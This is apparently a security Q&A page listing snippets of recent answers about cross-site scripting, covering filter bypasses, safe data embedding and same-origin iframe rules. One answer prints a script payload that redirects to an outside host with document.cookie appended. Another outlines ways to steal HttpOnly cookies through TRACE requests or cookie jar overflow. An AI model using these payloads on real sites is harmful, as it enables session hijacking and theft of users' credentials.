New answers tagged

3

Neat puzzle! Yes, that filter is exploitable. Attack For historical reasons, ECMAScript (aka Javascript) supports an extended syntax when run in a web browser context. One syntax feature is the parsing of an HTML comment (<!-- foo -->) like a regular JS comment (/* foo */) as long as it does not span over multiple lines. (See B.1.1 HTML-like Comments ...


1

No, your code is fine. Cross Site Scripting requires untrusted input to be interpreted as code in the browser. Your code is safe, because it does not reflect the untrusted input (myVar) back into the generated HTML. To see XSS in action, just add <%=myVar %> at the end of your code snippet. There it is: Reflected XSS


0

From what I see, unless you've output that myVar to the page or its applied to any other page, I do not believe so. I'm not a java expert but please correct my understanding below: If I understand correctly, you've simply taken the Request Parameter myVar and stored it in memory as myVar in your application. Using 2, if statements with boolean logic to ...


1

The frame is not being loaded from a remote source. What you're adding to the page is something like this: <script src="//js.hsforms.net/forms/shell.js"></script> <script> hbspt.forms.create({ region: "na1", portalId: "123456", formId: "deadbeef-1234-1234-1234-123456789abc" }); </script> That ...


0

Generic answer since I'm not familiar with HubSpot in particular. You can't, ever, use client-side script on the parent page to modify content in an iframe that is loaded from another domain (or that is sandboxed without the allow-same-origin sandbox exception). If you are able to access the contentDocument of an iframe, then it is a same-origin iframe. That'...


0

There are two possible cases I can see for this: This is due to the browser URL-encoding the exploit strong, and the server isn't decoding it. That might be defeated in various ways (try other browsers, try submitting the navigation request via JS or via a hardcoded link rather than using the in-app button, try finding an exploit string that doesn't require ...


2

One method is to check if the server supports TRACE method. TRACE method is used for debugging mainly. The response contains the cookies even HttpOnly ones. Then with XSS vulnerability you make a payload with a XHR request with TRACE method and collect the response containing the cookies. Another technique is a "cookie jar overflow". Chrome has ...


4

I see at least 3 possible bypasses: Double quotes The most obvious one, which should work based on your post, is by using double quotes instead of simple quotes: <script>document.location="http://khodrochi.unaux.com/khodrochi.php?x="/*+document.cookie*/;</script> Backticks The second one, which is rarely filtered in my experience, is ...


4

Use an HTML data-* attribute to store the object as JSON and later parse it with JS. This has several security and design advantages over injecting directly into an inline <script>. Example Let's inject the JSON-serialized object into the data-obj attribute of a <div>: <div id="appdata" data-obj="@Json.Encode(Model)"><...


1

A blob represents data on the client's file system. Data that a JavaScript wants to load or save to such files. The URL is used for security reasons. That is, if the JavaScript trying to load or save a blob comes from 3rd-party.example.com, then you can block that URL (as you've noticed) to prevent that script from accessing the file system. If you trust the ...


Top 50 recent answers are included